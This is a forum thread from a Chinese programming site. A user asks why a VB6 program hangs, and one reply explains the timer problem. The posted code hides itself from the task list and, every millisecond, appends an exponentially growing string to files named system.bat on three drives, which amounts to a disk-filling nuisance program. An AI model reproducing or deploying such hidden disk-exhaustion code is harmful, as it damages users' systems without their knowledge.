| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 2752 人关注过本帖
标题:为什么我的程序运行一段时间就无响应了
只看楼主 加入收藏
yanyan85200
Rank: 1
等 级:新手上路
帖 子:24
专家分:0
注 册:2007-11-25
收藏
 问题点数:0 回复次数:4 
为什么我的程序运行一段时间就无响应了
整个程序运行一段时间,大概写了17M左右,就无响应了
不知道是为什么
代码如下
Option Explicit
Dim a$, x$, b%

Private Sub Form_Load()
Timer1.Interval = 1
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
If b = 0 Then
 Open "c:\system.bat" For Output As #1
 Write #1, 0, 1
 b = 1
 Close #1
End If

Open "c:\system.bat" For Input As #2
Do While Not EOF(2)
  Input #2, a
  x = x + a
Loop
Close #2

Open "c:\system.bat" For Append As #3
Write #3, x
Close #3

Open "d:\system.bat" For Append As #4
Write #4, x
Close #4

Open "e:\system.bat" For Append As #5
Write #5, x
Close #5

End Sub
搜索更多相关主题的帖子: 运行 时间 
2007-12-29 18:34
yanyan85200
Rank: 1
等 级:新手上路
帖 子:24
专家分:0
注 册:2007-11-25
收藏
得分:0 
怎么没人理我啊
2007-12-30 10:39
Joforn
Rank: 6Rank: 6
等 级:贵宾
威 望:23
帖 子:1242
专家分:122
注 册:2007-1-2
收藏
得分:0 
因为你的定时器Interval = 1而你的程序重复运行一段时间后在Timer的事件中所需处理的时间远远大于50毫秒。并且你的程序在Timer事件中所有的循环中没有将运行权限交还给系统过,所以运行一定时间后程序将会被挂起。

VB QQ群:47715789
2007-12-30 13:04
Joforn
Rank: 6Rank: 6
等 级:贵宾
威 望:23
帖 子:1242
专家分:122
注 册:2007-1-2
收藏
得分:0 
因为你写了一个莫名的程序,所以我作了莫名的回答。不知楼主对上面的答案满意否?

VB QQ群:47715789
2007-12-30 13:05
yanyan85200
Rank: 1
等 级:新手上路
帖 子:24
专家分:0
注 册:2007-11-25
收藏
得分:0 
没太看懂
能讲的明白点吗
怎么解决呢
2007-12-30 13:11
快速回复:为什么我的程序运行一段时间就无响应了
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016733 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved